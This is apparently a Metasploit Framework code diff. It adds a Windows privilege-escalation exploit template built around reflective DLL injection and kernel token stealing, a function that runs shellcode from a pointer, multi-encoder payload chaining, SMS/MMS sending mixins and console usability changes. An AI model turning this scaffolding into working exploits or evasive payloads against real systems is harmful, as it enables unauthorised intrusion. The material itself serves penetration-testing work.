external/source/exploits/windows-lpe-template/windows-lpe-template/exploit.c
vendored
Executable file
|
@ -0,0 +1,88 @@
|
|||
// Make sure you leave these defines and includes alone.
|
||||
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
|
||||
#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
|
||||
#include "kernel.h"
|
||||
|
||||
// Add your own defines/includes here.
|
||||
|
||||
DWORD WINAPI run_exploit(LPVOID lpPayload)
|
||||
{
|
||||
// Put your required local variables here
|
||||
//LPVOID thing = malloc(100);
|
||||
|
||||
do
|
||||
{
|
||||
// all of your exploit stuff goes here
|
||||
|
||||
// Do some work, check for error, if fails, break.
|
||||
// TODO: remove this if not needed, otherwise modify
|
||||
// to run your own code.
|
||||
//if (FALSE)
|
||||
//{
|
||||
// break;
|
||||
//}
|
||||
|
||||
// prepare for kernel exploitation after the initial work has been done.
|
||||
// This allows for other helper functions to run inside the kernel. If
|
||||
// you forget to do this bit, then things in kernel land will crash!
|
||||
if (!prepare_for_kernel())
|
||||
{
|
||||
break;
|
||||
}
|
||||
|
||||
// This is where the exploit should be run from. When executing your exploit,
|
||||
// make sure that the `steal_process_token()` function from kernel.h is executed
|
||||
// inside the kernel (and preferrably nothing more!). This will conduct the token stealing
|
||||
// under the context of the kernel.
|
||||
|
||||
// Check to see if things worked, and that we have a payload
|
||||
if (was_token_replaced() && lpPayload)
|
||||
{
|
||||
// If so, just go ahead and execute the payload that MSF sent us.
|
||||
execute_payload(lpPayload);
|
||||
}
|
||||
|
||||
} while (0);
|
||||
|
||||
// Free up your stuff here.
|
||||
//if (thing != NULL)
|
||||
//{
|
||||
// free(thing);
|
||||
//}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// There shouldn't be any need to modify anything below this line.
|
||||
//
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
|
||||
{
|
||||
BOOL bReturnValue = TRUE;
|
||||
switch (dwReason)
|
||||
{
|
||||
case DLL_QUERY_HMODULE:
|
||||
hAppInstance = hinstDLL;
|
||||
if (lpReserved != NULL)
|
||||
{
|
||||
*(HMODULE *)lpReserved = hAppInstance;
|
||||
}
|
||||
break;
|
||||
case DLL_PROCESS_ATTACH:
|
||||
hAppInstance = hinstDLL;
|
||||
// lpReserved should have been passed in by MSF and points
|
||||
// to the shellcode/payload that is to be executed if the
|
||||
// exploit actually succeeds.
|
||||
run_exploit(lpReserved);
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
}
|
||||
return bReturnValue;
|
||||
}
|
172
external/source/exploits/windows-lpe-template/windows-lpe-template/windows-lpe-template.vcxproj
vendored
Executable file
172
external/source/exploits/windows-lpe-template/windows-lpe-template/windows-lpe-template.vcxproj
vendored
Executable file
|
@ -0,0 +1,172 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="..\..\..\win_kernel_common\kernel.c" />
|
||||
<ClCompile Include="exploit.c" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\..\..\win_kernel_common\kernel.h" />
|
||||
<ClInclude Include="..\..\..\win_kernel_common\windefs.h" />
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<ProjectGuid>{a67ba207-7aac-4850-beb1-e7fa07bac0b1}</ProjectGuid>
|
||||
<RootNamespace>windows_lpe_template</RootNamespace>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup>
|
||||
<_ProjectFileVersion>10.0.30319.1</_ProjectFileVersion>
|
||||
<OutDir>$(Configuration)\$(Platform)\</OutDir>
|
||||
<IntDir>$(Configuration)\$(Platform)\</IntDir>
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<GenerateManifest>false</GenerateManifest>
|
||||
<CodeAnalysisRuleSet>AllRules.ruleset</CodeAnalysisRuleSet>
|
||||
<CodeAnalysisRules />
|
||||
<CodeAnalysisRuleAssemblies />
|
||||
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<IncludePath>$(VC_IncludePath);$(WindowsSdk_71A_IncludePath);../../../win_kernel_common</IncludePath>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<IncludePath>$(VC_IncludePath);$(WindowsSdk_71A_IncludePath);../../../win_kernel_common</IncludePath>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<IntrinsicFunctions>false</IntrinsicFunctions>
|
||||
<AdditionalIncludeDirectories>..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;CAPCOM_SYS_EXEC_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<StringPooling>true</StringPooling>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>false</FunctionLevelLinking>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
|
||||
<ObjectFileName>$(OutDir)\</ObjectFileName>
|
||||
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
<TreatWarningAsError>true</TreatWarningAsError>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalDependencies>psapi.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
|
||||
<IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
|
||||
<DelayLoadDLLs>%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<GenerateMapFile>true</GenerateMapFile>
|
||||
<MapFileName>$(OutDir)\windows-lep-template.map</MapFileName>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<OptimizeReferences>
|
||||
</OptimizeReferences>
|
||||
<EnableCOMDATFolding>
|
||||
</EnableCOMDATFolding>
|
||||
<RandomizedBaseAddress>false</RandomizedBaseAddress>
|
||||
<DataExecutionPrevention>
|
||||
</DataExecutionPrevention>
|
||||
<ImportLibrary>$(OutDir)\windows-lep-template.lib</ImportLibrary>
|
||||
<Profile>false</Profile>
|
||||
<ModuleDefinitionFile>
|
||||
</ModuleDefinitionFile>
|
||||
<AdditionalOptions>/ignore:4070</AdditionalOptions>
|
||||
</Link>
|
||||
<PostBuildEvent>
|
||||
<Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.01 "$(TargetDir)$(TargetFileName)" > NUL
|
||||
IF EXIST "..\..\..\..\..\data\exploits\windows-lep-template\" GOTO COPY
|
||||
mkdir "..\..\..\..\..\data\exploits\windows-lep-template\"
|
||||
:COPY
|
||||
copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\exploits\windows-lep-template\"</Command>
|
||||
</PostBuildEvent>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<IntrinsicFunctions>false</IntrinsicFunctions>
|
||||
<AdditionalIncludeDirectories>..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;CAPCOM_SYS_EXEC_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<StringPooling>true</StringPooling>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>false</FunctionLevelLinking>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
|
||||
<ObjectFileName>$(OutDir)\</ObjectFileName>
|
||||
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
<TreatWarningAsError>true</TreatWarningAsError>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalDependencies>psapi.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
|
||||
<IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
|
||||
<DelayLoadDLLs>%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<GenerateMapFile>true</GenerateMapFile>
|
||||
<MapFileName>$(OutDir)\windows-lep-template.map</MapFileName>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<OptimizeReferences>
|
||||
</OptimizeReferences>
|
||||
<EnableCOMDATFolding>
|
||||
</EnableCOMDATFolding>
|
||||
<RandomizedBaseAddress>false</RandomizedBaseAddress>
|
||||
<DataExecutionPrevention>
|
||||
</DataExecutionPrevention>
|
||||
<ImportLibrary>$(OutDir)\windows-lep-template.lib</ImportLibrary>
|
||||
<Profile>false</Profile>
|
||||
<ModuleDefinitionFile>
|
||||
</ModuleDefinitionFile>
|
||||
<AdditionalOptions>/ignore:4070</AdditionalOptions>
|
||||
</Link>
|
||||
<PostBuildEvent>
|
||||
<Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.01 "$(TargetDir)$(TargetFileName)" > NUL
|
||||
IF EXIST "..\..\..\..\..\data\exploits\windows-lep-template\" GOTO COPY
|
||||
mkdir "..\..\..\..\..\data\exploits\windows-lep-template\"
|
||||
:COPY
|
||||
copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\exploits\windows-lep-template\"</Command>
|
||||
</PostBuildEvent>
|
||||
</ItemDefinitionGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
|
||||
</ImportGroup>
|
||||
</Project>
|
|
@ -272,3 +272,10 @@ VOID destroy_anon_mapping(MemMapping* memMap)
|
|||
}
|
||||
}
|
||||
}
|
||||
|
||||
DWORD execute_payload(LPVOID lpPayload)
|
||||
{
|
||||
VOID(*lpCode)() = (VOID(*)())lpPayload;
|
||||
lpCode();
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
|
|
@ -19,5 +19,6 @@ BOOL create_anon_mapping(MemMapping* memMap);
|
|||
VOID destroy_anon_mapping(MemMapping* memMap);
|
||||
VOID invoke_hal_dispatch_pointer();
|
||||
BOOL is_driver_loaded(wchar_t* driverName);
|
||||
DWORD execute_payload(LPVOID lpPayload);
|
||||
|
||||
#endif
|
||||
|
|
|
@ -30,7 +30,7 @@ module Metasploit
|
|||
end
|
||||
end
|
||||
|
||||
VERSION = "4.14.1"
|
||||
VERSION = "4.14.2"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
|
|
@ -28,3 +28,5 @@ require 'msf/core/auxiliary/iax2'
|
|||
require 'msf/core/auxiliary/ntp'
|
||||
require 'msf/core/auxiliary/pii'
|
||||
require 'msf/core/auxiliary/redis'
|
||||
require 'msf/core/auxiliary/sms'
|
||||
require 'msf/core/auxiliary/mms'
|
||||
|
|
|
@ -0,0 +1,69 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
###
|
||||
#
|
||||
# The Msf::Auxiliary::Mms mixin allows you to send a text message
|
||||
# including a media file.
|
||||
#
|
||||
##
|
||||
|
||||
module Msf
|
||||
module Auxiliary::Mms
|
||||
|
||||
def initialize(info={})
|
||||
super
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('SMTPFROM', [false, 'The FROM field for SMTP', '']),
|
||||
OptString.new('SMTPADDRESS', [ true, 'The SMTP server to use to send the text messages']),
|
||||
OptString.new('MMSSUBJECT', [false, 'The Email subject', '']),
|
||||
OptPort.new('SMTPPORT', [true, 'The SMTP port to use to send the text messages', 25]),
|
||||
OptString.new('SMTPUSERNAME', [true, 'The SMTP account to use to send the text messages']),
|
||||
OptString.new('SMTPPASSWORD', [true, 'The SMTP password to use to send the text messages']),
|
||||
OptEnum.new('MMSCARRIER', [true, 'The targeted MMS service provider', nil,Rex::Proto::Mms::Model::GATEWAYS.keys.collect { |k| k.to_s }]),
|
||||
OptString.new('CELLNUMBERS', [true, 'The phone numbers to send to']),
|
||||
OptString.new('TEXTMESSAGE', [true, 'The text message to send']),
|
||||
OptPath.new('MMSFILE', [false, 'The attachment to include in the text file']),
|
||||
OptString.new('MMSFILECTYPE', [false, 'The attachment content type'])
|
||||
], Auxiliary::Mms)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptEnum.new('SmtpLoginType', [true, 'The SMTP login type', 'login', ['plain', 'login', 'cram_md5']]),
|
||||
OptString.new('HeloDdomain', [false, 'The domain to use for HELO', ''])
|
||||
], Auxiliary::Mms)
|
||||
end
|
||||
|
||||
|
||||
# Sends an MMS message to multiple numbers of the same service provider (carrier).
|
||||
#
|
||||
# @example This sends a text (including an attachment) via Gmail
|
||||
# smtp = Rex::Proto::Mms::Model::Smtp.new(address: 'smtp.gmail.com', port: 587, username: user, password: pass)
|
||||
# mms = Rex::Proto::Mms::Client.new(carrier: :verizon, smtp_server: smtp)
|
||||
# mms.send_mms_to_phones(numbers, 'hello world?', '/tmp/test.jpg', 'image/jpeg')
|
||||
#
|
||||
# @param phone_numbers [<String>Array] An array of numbers of try (of the same carrier)
|
||||
# @param subject [String] MMS subject
|
||||
# @param message [String] The text to send.
|
||||
# @param attachment_path [String] Optional
|
||||
# @param ctype [String] Optional
|
||||
#
|
||||
# @return [void]
|
||||
def send_mms(phone_numbers, subject, message, attachment_path=nil, ctype=nil)
|
||||
smtp = Rex::Proto::Mms::Model::Smtp.new(
|
||||
address: datastore['SMTPADDRESS'],
|
||||
port: datastore['SMTPPORT'],
|
||||
username: datastore['SMTPUSERNAME'],
|
||||
password: datastore['SMTPPASSWORD'],
|
||||
login_type: datastore['SmtpLoginType'].to_sym,
|
||||
from: datastore['SMTPFROM'],
|
||||
)
|
||||
|
||||
carrier = datastore['MMSCARRIER'].to_sym
|
||||
mms = Rex::Proto::Mms::Client.new(carrier: carrier, smtp_server: smtp)
|
||||
mms.send_mms_to_phones(phone_numbers, subject, message, attachment_path, ctype)
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -0,0 +1,64 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
###
|
||||
#
|
||||
# The Msf::Auxiliary::Sms mixin allows you to send a text message to
|
||||
# multiple phones of the same carrier. A valid SMTP server is needed.
|
||||
#
|
||||
##
|
||||
|
||||
module Msf
|
||||
module Auxiliary::Sms
|
||||
|
||||
def initialize(info={})
|
||||
super
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('SMTPFROM', [false, 'The FROM field for SMTP', '']),
|
||||
OptString.new('SMTPADDRESS', [ true, 'The SMTP server to use to send the text messages']),
|
||||
OptPort.new('SMTPPORT', [true, 'The SMTP port to use to send the text messages', 25]),
|
||||
OptString.new('SMTPUSERNAME', [true, 'The SMTP account to use to send the text messages']),
|
||||
OptString.new('SMTPPASSWORD', [true, 'The SMTP password to use to send the text messages']),
|
||||
OptEnum.new('SMSCARRIER', [true, 'The targeted SMS service provider', nil,Rex::Proto::Sms::Model::GATEWAYS.keys.collect { |k| k.to_s }]),
|
||||
OptString.new('CELLNUMBERS', [true, 'The phone numbers to send to']),
|
||||
OptString.new('SMSMESSAGE', [true, 'The text message to send'])
|
||||
], Auxiliary::Sms)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptEnum.new('SmtpLoginType', [true, 'The SMTP login type', 'login', ['plain', 'login', 'cram_md5']]),
|
||||
OptString.new('HeloDdomain', [false, 'The domain to use for HELO', ''])
|
||||
], Auxiliary::Sms)
|
||||
end
|
||||
|
||||
|
||||
# Sends a text message to multiple numbers of the same service provider (carrier).
|
||||
#
|
||||
# @example This sends a text via Gmail
|
||||
# smtp = Rex::Proto::Sms::Model::Smtp.new(address: 'smtp.gmail.com', port: 587, username: user, password: pass)
|
||||
# sms = Rex::Proto::Sms::Client.new(carrier: :verizon, smtp_server: smtp)
|
||||
# numbers = ['1112223333']
|
||||
# sms.send_text_to_phones(numbers, 'Hello from Gmail')
|
||||
#
|
||||
# @param phone_numbers [<String>Array] An array of numbers of try (of the same carrier)
|
||||
# @param message [String] The text to send.
|
||||
#
|
||||
# @return [void]
|
||||
def send_text(phone_numbers, message)
|
||||
smtp = Rex::Proto::Sms::Model::Smtp.new(
|
||||
address: datastore['SMTPADDRESS'],
|
||||
port: datastore['SMTPPORT'],
|
||||
username: datastore['SMTPUSERNAME'],
|
||||
password: datastore['SMTPPASSWORD'],
|
||||
login_type: datastore['SmtpLoginType'].to_sym,
|
||||
from: datastore['SMTPFROM']
|
||||
)
|
||||
|
||||
carrier = datastore['SMSCARRIER'].to_sym
|
||||
sms = Rex::Proto::Sms::Client.new(carrier: carrier, smtp_server: smtp)
|
||||
sms.send_text_to_phones(phone_numbers, message)
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -160,7 +160,7 @@ module Exploit::Remote::HttpServer
|
|||
filter_request_uri(cli, req)
|
||||
) ? nil : on_request_uri(cli, req)
|
||||
},
|
||||
'Path' => resource_uri
|
||||
'Path' => opts['Path'] || resource_uri
|
||||
}.update(opts['Uri'] || {})
|
||||
|
||||
proto = (datastore["SSL"] ? "https" : "http")
|
||||
|
@ -490,6 +490,19 @@ module Exploit::Remote::HttpServer
|
|||
host
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the local port that is being listened on.
|
||||
#
|
||||
def srvport
|
||||
if datastore['URIPORT']
|
||||
port = datastore['URIPORT']
|
||||
else
|
||||
port = datastore['SRVPORT']
|
||||
end
|
||||
|
||||
port
|
||||
end
|
||||
|
||||
#
|
||||
# Removes a URI resource.
|
||||
#
|
||||
|
|
|
@ -23,6 +23,16 @@ module Msf
|
|||
)
|
||||
end
|
||||
|
||||
def is_loopback_address?(address)
|
||||
begin
|
||||
a = IPAddr.new(address.to_s)
|
||||
return true if IPAddr.new('127.0.0.1/8') === a
|
||||
return true if IPAddr.new('::1') === a
|
||||
rescue
|
||||
end
|
||||
false
|
||||
end
|
||||
|
||||
# A list of addresses to attempt to bind, in preferred order.
|
||||
#
|
||||
# @return [Array<String>] a two-element array. The first element will be
|
||||
|
@ -32,11 +42,18 @@ module Msf
|
|||
def bind_addresses
|
||||
# Switch to IPv6 ANY address if the LHOST is also IPv6
|
||||
addr = Rex::Socket.resolv_nbo(datastore['LHOST'])
|
||||
|
||||
# First attempt to bind LHOST. If that fails, the user probably has
|
||||
# something else listening on that interface. Try again with ANY_ADDR.
|
||||
any = (addr.length == 4) ? "0.0.0.0" : "::0"
|
||||
addr = Rex::Socket.addr_ntoa(addr)
|
||||
|
||||
addrs = [ Rex::Socket.addr_ntoa(addr), any ]
|
||||
# Checking if LHOST is a loopback address
|
||||
if is_loopback_address?(addr)
|
||||
print_warning("You are binding to a loopback address by setting LHOST to #{addr}. Did you want ReverseListenerBindAddress?")
|
||||
end
|
||||
|
||||
addrs = [ addr, any ]
|
||||
|
||||
if not datastore['ReverseListenerBindAddress'].to_s.empty?
|
||||
# Only try to bind to this specific interface
|
||||
|
@ -87,10 +104,8 @@ module Msf
|
|||
print_error("Handler failed to bind to #{ip}:#{local_port}:- #{comm} -")
|
||||
else
|
||||
ex = false
|
||||
|
||||
via = via_string_for_ip(ip, comm)
|
||||
print_status("Started #{human_name} handler on #{ip}:#{local_port} #{via}")
|
||||
|
||||
break
|
||||
end
|
||||
end
|
||||
|
|
|
@ -419,4 +419,3 @@ end
|
|||
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -205,6 +205,19 @@ module Msf
|
|||
chosen_platform
|
||||
end
|
||||
|
||||
def multiple_encode_payload(shellcode)
|
||||
encoder_str = encoder[1..-1]
|
||||
encoder_str.scan(/([^:, ]+):?([^,]+)?/).map do |encoder_opt|
|
||||
@iterations = (encoder_opt[1] || 1).to_i
|
||||
@iterations = 1 if iterations < 1
|
||||
|
||||
encoder_mod = framework.encoders.create(encoder_opt[0])
|
||||
encoder_mod.datastore.import_options_from_hash(datastore)
|
||||
shellcode = run_encoder(encoder_mod, shellcode)
|
||||
end
|
||||
shellcode
|
||||
end
|
||||
|
||||
# This method takes the shellcode generated so far and iterates through
|
||||
# the chosen or compatible encoders. It attempts to encode the payload
|
||||
# with each encoder until it finds one that works.
|
||||
|
@ -327,7 +340,12 @@ module Msf
|
|||
else
|
||||
raw_payload = generate_raw_payload
|
||||
raw_payload = add_shellcode(raw_payload)
|
||||
encoded_payload = encode_payload(raw_payload)
|
||||
|
||||
if encoder != nil and encoder.start_with?("@")
|
||||
encoded_payload = multiple_encode_payload(raw_payload)
|
||||
else
|
||||
encoded_payload = encode_payload(raw_payload)
|
||||
end
|
||||
encoded_payload = prepend_nops(encoded_payload)
|
||||
cli_print "Payload size: #{encoded_payload.length} bytes"
|
||||
gen_payload = format_payload(encoded_payload)
|
||||
|
|
|
@ -27,9 +27,11 @@ class Auxiliary
|
|||
#
|
||||
def commands
|
||||
super.update({
|
||||
"run" => "Launches the auxiliary module",
|
||||
"rerun" => "Reloads and launches the auxiliary module",
|
||||
"exploit" => "This is an alias for the run command",
|
||||
"run" => "Launches the auxiliary module",
|
||||
"rcheck" => "Reloads the module and checks if the target is vulnerable",
|
||||
"rerun" => "Reloads and launches the auxiliary module",
|
||||
"exploit" => "This is an alias for the run command",
|
||||
"recheck" => "This is an alias for the rcheck command",
|
||||
"rexploit" => "This is an alias for the rerun command",
|
||||
"reload" => "Reloads the auxiliary module"
|
||||
}).merge( (mod ? mod.auxiliary_commands : {}) )
|
||||
|
@ -147,6 +149,18 @@ class Auxiliary
|
|||
|
||||
alias cmd_exploit_help cmd_run_help
|
||||
|
||||
#
|
||||
# Reloads an auxiliary module and checks the target to see if it's
|
||||
# vulnerable.
|
||||
#
|
||||
def cmd_rcheck(*args)
|
||||
reload()
|
||||
|
||||
cmd_check(*args)
|
||||
end
|
||||
|
||||
alias cmd_recheck cmd_rcheck
|
||||
|
||||
end
|
||||
|
||||
end end end end
|
||||
|
|
|
@ -715,27 +715,34 @@ class Core
|
|||
end
|
||||
|
||||
def cmd_load_help
|
||||
print_line "Usage: load <path> [var=val var=val ...]"
|
||||
print_line "Usage: load <option> [var=val var=val ...]"
|
||||
print_line
|
||||
print_line "Loads a plugin from the supplied path. If path is not absolute, first looks"
|
||||
print_line "in the user's plugin directory (#{Msf::Config.user_plugin_directory}) then"
|
||||
print_line "in the framework root plugin directory (#{Msf::Config.plugin_directory})."
|
||||
print_line "Loads a plugin from the supplied path."
|
||||
print_line "For a list of built-in plugins, do: load -l"
|
||||
print_line "The optional var=val options are custom parameters that can be passed to plugins."
|
||||
print_line
|
||||
end
|
||||
|
||||
#
|
||||
# Loads a plugin from the supplied path. If no absolute path is supplied,
|
||||
# the framework root plugin directory is used.
|
||||
#
|
||||
def cmd_load(*args)
|
||||
if (args.length == 0)
|
||||
cmd_load_help
|
||||
return false
|
||||
end
|
||||
def list_plugins
|
||||
plugin_directories = {
|
||||
'Framework' => Msf::Config.plugin_directory,
|
||||
'User' => Msf::Config.user_plugin_directory
|
||||
}
|
||||
|
||||
plugin_directories.each do |type, plugin_directory|
|
||||
items = Dir.entries(plugin_directory).keep_if { |n| n.match(/^.+\.rb$/)}
|
||||
next if items.empty?
|
||||
print_status("Available #{type} plugins:")
|
||||
items.each do |item|
|
||||
print_line(" * #{item.split('.').first}")
|
||||
end
|
||||
print_line
|
||||
end
|
||||
end
|
||||
|
||||
def load_plugin(args)
|
||||
path = args[0]
|
||||
|
||||
# Default to the supplied argument path.
|
||||
path = args.shift
|
||||
opts = {
|
||||
'LocalInput' => driver.input,
|
||||
'LocalOutput' => driver.output,
|
||||
|
@ -759,7 +766,6 @@ class Core
|
|||
# If the following "path" doesn't exist it will be caught when we attempt to load
|
||||
path = Msf::Config.plugin_directory + File::SEPARATOR + plugin_file_name
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
# Load that plugin!
|
||||
|
@ -773,6 +779,21 @@ class Core
|
|||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Loads a plugin from the supplied path. If no absolute path is supplied,
|
||||
# the framework root plugin directory is used.
|
||||
#
|
||||
def cmd_load(*args)
|
||||
case args[0]
|
||||
when '-l'
|
||||
list_plugins
|
||||
when '-h', nil, ''
|
||||
cmd_load_help
|
||||
else
|
||||
load_plugin(args)
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Tab completion for the load command
|
||||
#
|
||||
|
@ -1531,6 +1552,16 @@ class Core
|
|||
end
|
||||
end
|
||||
|
||||
# Warn when setting RHOST option for module which expects RHOSTS
|
||||
if args.first.upcase.eql?('RHOST')
|
||||
mod = active_module
|
||||
unless mod.nil?
|
||||
if !mod.options.include?('RHOST') && mod.options.include?('RHOSTS')
|
||||
print_warning("RHOST is not a valid option for this module. Did you mean RHOSTS?")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Set the supplied name to the supplied value
|
||||
name = args[0]
|
||||
value = args[1, args.length-1].join(' ')
|
||||
|
|
|
@ -32,9 +32,10 @@ class Exploit
|
|||
"exploit" => "Launch an exploit attempt",
|
||||
"rcheck" => "Reloads the module and checks if the target is vulnerable",
|
||||
"rexploit" => "Reloads the module and launches an exploit attempt",
|
||||
"reload" => "Just reloads the module",
|
||||
"run" => "Alias for exploit",
|
||||
"recheck" => "Alias for rcheck",
|
||||
"rerun" => "Alias for rexploit",
|
||||
"reload" => "Just reloads the module"
|
||||
})
|
||||
end
|
||||
|
||||
|
@ -186,6 +187,8 @@ class Exploit
|
|||
cmd_check(*args)
|
||||
end
|
||||
|
||||
alias cmd_recheck cmd_rcheck
|
||||
|
||||
#
|
||||
